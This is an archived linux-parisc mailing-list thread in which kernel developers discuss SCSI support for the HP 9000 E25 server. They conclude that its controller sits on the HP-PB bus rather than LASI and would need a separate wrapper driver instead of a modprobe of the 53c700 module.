But James is the expert on the 53c700 driver, so he might know more... ?
  
> [correct my syntax] and may I expect this to work somehow?
>
> What's the problem with  SCSI on E class? Is that a need of some
> driver which calls 53c700.c with correct parameters taken from
> hardware? Can it be just passed to module via parameter or the
> problem is deeper?

It might be deeper.
In  arch/parisc/kernel/hardware.c I see:
         {HPHW_A_DMA, 0x044, 0x00039, 0x80, "Sahp Baat Kiuh SCSI"},
while other SCSI drivers on LASI have HPHW_FIO, e.g.:
	{HPHW_FIO, 0x016, 0x00082, 0x0, "Gecko Core SCSI"},


For reference, here is the full dmesg from Dmitry when he tried to boot his E25
machine with a recent Linux kernel:
ftp://parisc.parisc-linux.org/dmesg/E25.dmesg  (http://pastebin.com/sXqUjVub)

Helge
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: E Class and SCSI (53c700 driver)
Date: Thu, 02 Apr 2015 11:59:34 +0300
Lines: 76
Approved: news@gmane.org
Message-ID: <1427965174.3559.110.camel@HansenPartnership.com>
References: <5519CA2B.9060407@gmail.com> <551CF8D9.3020506@gmx.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1427965195 30679 80.91.229.3 (2 Apr 2015 08:59:55 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2015 08:59:55 +0000 (UTC)
Cc: Dmitry the Zuryanovich <dreadbit@gmail.com>,
	debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 10:59:42 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YdayT-0001GF-OH
	for glpp-linux-parisc@plane.gmane.org; Thu, 02 Apr 2015 10:59:42 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752643AbbDBI7l (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Apr 2015 04:59:41 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40074 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751306AbbDBI7j (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Apr 2015 04:59:39 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 3D37A8EE453;
	Thu,  2 Apr 2015 01:59:39 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id UNRrnXJI-GCt; Thu,  2 Apr 2015 01:59:39 -0700 (PDT)
Original-Received: from [10.24.36.151] (swsoft-msk-nat.sw.ru [195.214.232.10])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id B560B8EE442;
	Thu,  2 Apr 2015 01:59:37 -0700 (PDT)
In-Reply-To: <551CF8D9.3020506@gmx.de>
X-Mailer: Evolution 3.12.11 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25684 gmane.linux.debian.ports.hppa:7278
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25684>

On Thu, 2015-04-02 at 10:07 +0200, Helge Deller wrote:
> Hi Dmitry,
> 
> I've added the parisc-kernel-devel mailing list too, since I expect
> that *if* somebody is able to answer your question, it will probably
> be on the parisc-kernel-devel list...
> 
> On 31.03.2015 00:11, Dmitry the Zuryanovich wrote:
> > As I understand, E class (in my case - E25) has LASI based 53c710
> > which is handled by 53c700.c? (and in case of workstations wrapped by
> > lasi700 - what's for? Just for detecting it?)
> >
> > If I know that that's
> >
> > 5. Sahp Baat Kiuh SCSI at 0xfff74000 [56/52] {4, 0x0, 0x044, 0x00039}
> >
> > , is there a reason to try to
> >
> > #modprobe 53c700 clock=25  base=0xfff74000
> 
> Looking at drivers/scsi/lasi700.c, it seems the lasi700 driver sets
> additional flags like force_le_on_be, chip710, burst_length and so on.
> In addition, the IRQs gets connected via drivers/parisc/lasi.c (see lasi_choose_irq()).
> I assume you would need at least a "case 0x39" in there.
> But James is the expert on the 53c700 driver, so he might know more... ?

Well, I can tell you that the modprobe won't work.  The 53c700 is
designed to be a wrapper driver, meaning that it relies on another
driver (like lasi700 or zorro7xxx or something) to set up the interrupt
line and the register mappings.

Probably all that's needed is a tiny wrapper driver for whatever bus
it's on (what bus is this?).  If you look at lasi, it basically pulls
the parameters out of firmware, translates the lasi specific IRQ setting
and enables the GSC interrupt (plus some LED stuff specific to lasi).

> > [correct my syntax] and may I expect this to work somehow?
> >
> > What's the problem with  SCSI on E class? Is that a need of some
> > driver which calls 53c700.c with correct parameters taken from
> > hardware? Can it be just passed to module via parameter or the
> > problem is deeper?
> 
> It might be deeper.
> In  arch/parisc/kernel/hardware.c I see:
>          {HPHW_A_DMA, 0x044, 0x00039, 0x80, "Sahp Baat Kiuh SCSI"},

That tells us it's on the Precision bus, doesn't it?

> while other SCSI drivers on LASI have HPHW_FIO, e.g.:
> 	{HPHW_FIO, 0x016, 0x00082, 0x0, "Gecko Core SCSI"},
> 
> 
> For reference, here is the full dmesg from Dmitry when he tried to boot his E25
> machine with a recent Linux kernel:
> ftp://parisc.parisc-linux.org/dmesg/E25.dmesg  (http://pastebin.com/sXqUjVub)

There's not enough information there to reverse engineer the information
needed for the driver.

The best docs we have:

https://parisc.wiki.kernel.org/images-parisc/5/52/E-class_hpjournal.pdf

Say the SCSI controller here is precision attached not lasi attached
(the ethernet is on the lasi, though).  Unfortunately, we don't have any
documents at all in the archive for the precision bus that I can find.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: E Class and SCSI (53c700 driver)
Date: Thu, 2 Apr 2015 07:43:53 -0400
Lines: 24
Approved: news@gmane.org
Message-ID: <BLU437-SMTP517D1501AE614C12AA19EC97F20@phx.gbl>
References: <5519CA2B.9060407@gmail.com> <551CF8D9.3020506@gmx.de> <1427965174.3559.110.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1427975055 27950 80.91.229.3 (2 Apr 2015 11:44:15 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2015 11:44:15 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Dmitry the Zuryanovich <dreadbit@gmail.com>,
	debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 13:44:06 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YddXZ-0007EC-Uz
	for glpp-linux-parisc@plane.gmane.org; Thu, 02 Apr 2015 13:44:06 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750747AbbDBLn6 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Apr 2015 07:43:58 -0400
Original-Received: from blu004-omc4s29.hotmail.com ([65.55.111.168]:64914 "EHLO
	BLU004-OMC4S29.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1750765AbbDBLn5 convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Apr 2015 07:43:57 -0400
Original-Received: from BLU437-SMTP51 ([65.55.111.135]) by BLU004-OMC4S29.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Thu, 2 Apr 2015 04:43:56 -0700
X-TMN: [PUkB/zt1A9aIYdqfZ2kqrARAa1NE5mn1]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <1427965174.3559.110.camel@HansenPartnership.com>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 02 Apr 2015 11:43:55.0463 (UTC) FILETIME=[4C9CF570:01D06D3A]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25685 gmane.linux.debian.ports.hppa:7279
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25685>

On 2015-04-02, at 4:59 AM, James Bottomley wrote:

> The best docs we have:
> 
> https://parisc.wiki.kernel.org/images-parisc/5/52/E-class_hpjournal.pdf
> 
> Say the SCSI controller here is precision attached not lasi attached
> (the ethernet is on the lasi, though).  Unfortunately, we don't have any
> documents at all in the archive for the precision bus that I can find.

It's also known as HP-IB and quite a few devices were made to attach to it.  Maybe something
can be found with Google.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@HansenPartnership.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: E Class and SCSI (53c700 driver)
Date: Thu, 02 Apr 2015 14:58:04 +0300
Lines: 30
Approved: news@gmane.org
Message-ID: <1427975884.3559.155.camel@HansenPartnership.com>
References: <5519CA2B.9060407@gmail.com> <551CF8D9.3020506@gmx.de>
	 <1427965174.3559.110.camel@HansenPartnership.com>
	 <BLU437-SMTP517D1501AE614C12AA19EC97F20@phx.gbl>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="UTF-8"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1427975908 10185 80.91.229.3 (2 Apr 2015 11:58:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2015 11:58:28 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Dmitry the Zuryanovich <dreadbit@gmail.com>,
	debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 13:58:18 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YddlC-0006AW-Ct
	for glpp-linux-parisc@plane.gmane.org; Thu, 02 Apr 2015 13:58:10 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751933AbbDBL6J (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Apr 2015 07:58:09 -0400
Original-Received: from bedivere.hansenpartnership.com ([66.63.167.143]:40774 "EHLO
	bedivere.hansenpartnership.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1751054AbbDBL6J (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Apr 2015 07:58:09 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by bedivere.hansenpartnership.com (Postfix) with ESMTP id 8322A8EE486;
	Thu,  2 Apr 2015 04:58:08 -0700 (PDT)
Original-Received: from bedivere.hansenpartnership.com ([127.0.0.1])
	by localhost (bedivere.hansenpartnership.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id GjD5yqNEJhd1; Thu,  2 Apr 2015 04:58:08 -0700 (PDT)
Original-Received: from [10.24.36.151] (swsoft-msk-nat.sw.ru [195.214.232.10])
	by bedivere.hansenpartnership.com (Postfix) with ESMTPSA id BBFA18EE453;
	Thu,  2 Apr 2015 04:58:06 -0700 (PDT)
In-Reply-To: <BLU437-SMTP517D1501AE614C12AA19EC97F20@phx.gbl>
X-Mailer: Evolution 3.12.11 
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25686 gmane.linux.debian.ports.hppa:7280
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25686>

On Thu, 2015-04-02 at 07:43 -0400, John David Anglin wrote:
> On 2015-04-02, at 4:59 AM, James Bottomley wrote:
> 
> > The best docs we have:
> > 
> > https://parisc.wiki.kernel.org/images-parisc/5/52/E-class_hpjournal.pdf
> > 
> > Say the SCSI controller here is precision attached not lasi attached
> > (the ethernet is on the lasi, though).  Unfortunately, we don't have any
> > documents at all in the archive for the precision bus that I can find.
> 
> It's also known as HP-IB and quite a few devices were made to attach to it.  Maybe something
> can be found with Google.

Well, what do you know: HP has a computer museum full of obsolete
documentation.

http://www.hpmuseum.net/collection_document.php

If anyone can identify the programming specs for the HP-PB (or better
still the actual SCSI card) we might be in business.

James


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: John David Anglin <dave.anglin@bell.net>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: E Class and SCSI (53c700 driver)
Date: Thu, 2 Apr 2015 08:06:45 -0400
Lines: 38
Approved: news@gmane.org
Message-ID: <BLU436-SMTP26DEB1FB31085B34F640A97F20@phx.gbl>
References: <5519CA2B.9060407@gmail.com> <551CF8D9.3020506@gmx.de> <1427965174.3559.110.camel@HansenPartnership.com> <BLU437-SMTP517D1501AE614C12AA19EC97F20@phx.gbl> <1427975884.3559.155.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v1085)
Content-Type: text/plain; charset="us-ascii"
Content-Transfer-Encoding: 8BIT
X-Trace: ger.gmane.org 1427976420 18507 80.91.229.3 (2 Apr 2015 12:07:00 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2015 12:07:00 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Dmitry the Zuryanovich <dreadbit@gmail.com>,
	debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@HansenPartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 14:06:51 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Yddta-0006Wt-Al
	for glpp-linux-parisc@plane.gmane.org; Thu, 02 Apr 2015 14:06:50 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1751863AbbDBMGt (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Apr 2015 08:06:49 -0400
Original-Received: from blu004-omc4s27.hotmail.com ([65.55.111.166]:57597 "EHLO
	BLU004-OMC4S27.hotmail.com" rhost-flags-OK-OK-OK-OK)
	by vger.kernel.org with ESMTP id S1752093AbbDBMGt convert rfc822-to-8bit
	(ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Apr 2015 08:06:49 -0400
Original-Received: from BLU436-SMTP2 ([65.55.111.135]) by BLU004-OMC4S27.hotmail.com over TLS secured channel with Microsoft SMTPSVC(7.5.7601.22751);
	 Thu, 2 Apr 2015 05:06:48 -0700
X-TMN: [SpMKrYye06tprk0uG1kscfbFnoCYFVkj]
X-Originating-Email: [dave.anglin@bell.net]
In-Reply-To: <1427975884.3559.155.camel@HansenPartnership.com>
X-Mailer: Apple Mail (2.1085)
X-OriginalArrivalTime: 02 Apr 2015 12:06:47.0610 (UTC) FILETIME=[7E79F9A0:01D06D3D]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25687 gmane.linux.debian.ports.hppa:7281
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25687>

On 2015-04-02, at 7:58 AM, James Bottomley wrote:

> On Thu, 2015-04-02 at 07:43 -0400, John David Anglin wrote:
>> On 2015-04-02, at 4:59 AM, James Bottomley wrote:
>> 
>>> The best docs we have:
>>> 
>>> https://parisc.wiki.kernel.org/images-parisc/5/52/E-class_hpjournal.pdf
>>> 
>>> Say the SCSI controller here is precision attached not lasi attached
>>> (the ethernet is on the lasi, though).  Unfortunately, we don't have any
>>> documents at all in the archive for the precision bus that I can find.
>> 
>> It's also known as HP-IB and quite a few devices were made to attach to it.  Maybe something
>> can be found with Google.
> 
> Well, what do you know: HP has a computer museum full of obsolete
> documentation.
> 
> http://www.hpmuseum.net/collection_document.php
> 
> If anyone can identify the programming specs for the HP-PB (or better
> still the actual SCSI card) we might be in business.


It seems to be a standard: IEEE-488-1978.

Dave
--
John David Anglin	dave.anglin@bell.net



--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: E Class and SCSI (53c700 driver)
Date: Thu, 2 Apr 2015 10:41:17 -0700
Lines: 70
Approved: news@gmane.org
Message-ID: <CAP6odji4Yrj+ZqiY-UFpbde_j=YBEJtQaMKrAVXuq+y2Sb_1Ng@mail.gmail.com>
References: <5519CA2B.9060407@gmail.com>
	<551CF8D9.3020506@gmx.de>
	<1427965174.3559.110.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1427996491 13290 80.91.229.3 (2 Apr 2015 17:41:31 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2015 17:41:31 +0000 (UTC)
Cc: Helge Deller <deller@gmx.de>,
	Dmitry the Zuryanovich <dreadbit@gmail.com>,
	debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 19:41:21 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1Ydj7H-0005qC-4l
	for glpp-linux-parisc@plane.gmane.org; Thu, 02 Apr 2015 19:41:19 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752555AbbDBRlS (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Apr 2015 13:41:18 -0400
Original-Received: from mail-ob0-f175.google.com ([209.85.214.175]:33480 "EHLO
	mail-ob0-f175.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752657AbbDBRlS (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Apr 2015 13:41:18 -0400
Original-Received: by obvd1 with SMTP id d1so140455991obv.0
        for <linux-parisc@vger.kernel.org>; Thu, 02 Apr 2015 10:41:17 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=vv+KHiyNjn661HneGG0Ad9UKH1fdkVJyQXyvO8IsUGM=;
        b=WMl3KqBgNOXWaR+8/BzsN71fghGuUMZM1JBXbLqgPn9Ov41coxtgxszaoUwb+YW/j2
         5eyTYC4uf15zolebV32dikhYuYq+INhPVPmfbC+sUmL6HzVAoCRgb65yN5hmwA3CA2C3
         hrjG6QfVo9dkOVVx5L5rGmVLvHdNx8e/V9XVVS7HlNTQTuZEe85aOrHnqwAH5RoBIfLn
         LW+3+uLom9wfSBo7F5iKSp+PVzX8a/G4nRM6gC32tb45yk3iwnUcl+CdIeJJv2oFNekn
         ySdQiPp5ldZU0QoOuUT/2+UwBW13XZgM4pC0P1jTZZQU852iX/Mufm94WP91jrVj1+IC
         3s9g==
X-Received: by 10.60.35.130 with SMTP id h2mr1442547oej.41.1427996477596; Thu,
 02 Apr 2015 10:41:17 -0700 (PDT)
Original-Received: by 10.182.217.100 with HTTP; Thu, 2 Apr 2015 10:41:17 -0700 (PDT)
In-Reply-To: <1427965174.3559.110.camel@HansenPartnership.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:25688 gmane.linux.debian.ports.hppa:7282
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/25688>

On Thu, Apr 2, 2015 at 1:59 AM, James Bottomley
<James.Bottomley@hansenpartnership.com> wrote:
....
> Probably all that's needed is a tiny wrapper driver for whatever bus
> it's on (what bus is this?).  If you look at lasi, it basically pulls
> the parameters out of firmware, translates the lasi specific IRQ setting
> and enables the GSC interrupt (plus some LED stuff specific to lasi).
...
>> In  arch/parisc/kernel/hardware.c I see:
>>          {HPHW_A_DMA, 0x044, 0x00039, 0x80, "Sahp Baat Kiuh SCSI"},
>
> That tells us it's on the Precision bus, doesn't it?

Yes. "E-class" was one of the "alphabet soup" servers with HP-PB
(IIRC, not HP-IB) slots. Since the system uses PA-7100LC, the "system
interconnect" is GSC and an HP-PB bus converter provided access to the
HP-PB slots.

I don't believe the 53c710 was connected on E-class servers based on this table:
    http://www.parisc-linux.org/documentation/hp9000_models.html


                                      CPU    BUILT-IN      ADD-ON SCSI I/O
MODEL STRING     PROJECT NAME        TYPE    SE, FWD/TYPE  SE, FWD, GSC-FWD
------------     ------------------  -----   ------------  ----------------
...
806/E25          WB Orville (48 Mhz) 7100LC  NIO, None     NIO(1),NIO(2),NA

("BUILT-IN" and "ADD-ON" SCSI both are NIO - aka HP-PB)

...
> The best docs we have:
> https://parisc.wiki.kernel.org/images-parisc/5/52/E-class_hpjournal.pdf

Also check on:
    http://www.openpa.net/systems/index.html

or more specifically:
   http://www.openpa.net/systems/hp-9000_e25_e35_e45_e55.html

> Say the SCSI controller here is precision attached not lasi attached
> (the ethernet is on the lasi, though).  Unfortunately, we don't have any
> documents at all in the archive for the precision bus that I can find.

I don't recall any HP-PB specific docs being released.  What I can say
is the HP-PB devices used transaction based interrupt routing similar
to how Dino and other PCI host controllers generated interrupts. So no
IRQ lines are used for HP-PB. And IIRC, there is also no IOMMU in
D/E/F/H/I series servers (meaning they are NOT DMA/Cache coherent
systems).

Lastly, the HP-PB SCSI adapters used a proprietary HP designed (not
Symbios designed) SCSI controller. No docs were ever published for
those either. The "fast-narrow SE" controller (28655A) was directly
controlled by the host computer and was not particularly efficient
(IIRC: 3 interrupts per transaction). The "fast-Wide HVD" (28696A) had
an i960 on board to manage the "version 4" chip. SCSI bus control was
handed to the host computer if anything happened that the i960
couldn't handle.

cheers,
grant

ps. I also found the manual for 28655A:
   http://pdfs.icecat.biz/pdf/22940335-3766.pdf
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:37:25 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grantgrundler@gmail.com>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa
Subject: Re: E Class and SCSI (53c700 driver)
Date: Thu, 2 Apr 2015 11:14:38 -0700
Lines: 41
Approved: news@gmane.org
Message-ID: <CAP6odjgS6KHvB=CHybquCJ4T_hTw5awrF5hzXUENQzOb7Su7Gg@mail.gmail.com>
References: <5519CA2B.9060407@gmail.com>
	<551CF8D9.3020506@gmx.de>
	<1427965174.3559.110.camel@HansenPartnership.com>
	<BLU437-SMTP517D1501AE614C12AA19EC97F20@phx.gbl>
	<1427975884.3559.155.camel@HansenPartnership.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=UTF-8
X-Trace: ger.gmane.org 1427998491 13801 80.91.229.3 (2 Apr 2015 18:14:51 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Thu, 2 Apr 2015 18:14:51 +0000 (UTC)
Cc: John David Anglin <dave.anglin@bell.net>,
	Helge Deller <deller@gmx.de>,
	Dmitry the Zuryanovich <dreadbit@gmail.com>,
	debian-hppa@lists.debian.org,
	linux-parisc <linux-parisc@vger.kernel.org>
To: James Bottomley <James.Bottomley@hansenpartnership.com>
Original-X-From: linux-parisc-owner@vger.kernel.org Thu Apr 02 20:14:41 2015
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1YdjdY-0004oM-Jt
	for glpp-linux-parisc@plane.gmane.org; Thu, 02 Apr 2015 20:14:40 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1750872AbbDBSOj (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Thu, 2 Apr 2015 14:14:39 -0400
Original-Received: from mail-ob0-f180.google.com ([209.85.214.180]:34418 "EHLO
	mail-ob0-f180.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1751166AbbDBSOi (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Thu, 2 Apr 2015 14:14:38 -0400
Original-Received: by obbgh1 with SMTP id gh1so134052024obb.1
        for <linux-parisc@vger.kernel.org>; Thu, 02 Apr 2015 11:14:38 -0700 (PDT)
DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=gmail.com; s=20120113;
        h=mime-version:in-reply-to:references:date:message-id:subject:from:to
         :cc:content-type;
        bh=/1/oc3Cet6SYx/mWNeymUUPSFop8m5M+N9P5A716WCA=;
        b=eAHh/PZHtDJyrTajXeMX/uyyic0FdtqXwyS1Myxp3no/dJq3zKZzGlRvIpJ65/VPuZ
         k3imhayGqL6yd8TuNVS0dd8+hy4v3PH4uu2BnlyQSZqoF4W8VDIMVZ8zIh4KrKnIvCFR
         kdzg5ltA4Zgb1uwla+aW7VoBps4TRCfLiWABfnOa9UCC7BPiMOv0+YrWdg/V7X6tHiYG
         nQxFbSYaxZfEPLeo+HbpTlW77qHRo5zq8RaE1ycTOa71KoQWtR6W5Ury0UacNvJIha+a
         oTNhFcnyRyRxuY0ncmJEnPYy/bIu8e7FlpdG3vomD8akL6r+DqN1Befchva68D2dohSJ
         1o0Q==
X-Received: by 10.182.32.102 with SMTP id h6mr49079848obi.64.1427998478183;
 Thu, 02 Apr 2015 11:14:38 -0700 (PDT)
Original-Received: by 10.182.217.100 with HTTP; Thu, 2 Apr 2015 11:14:38 -0700 (PDT)
In-Reply-To: <1427975884.3559.155.camel@HansenPartnership.com>
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
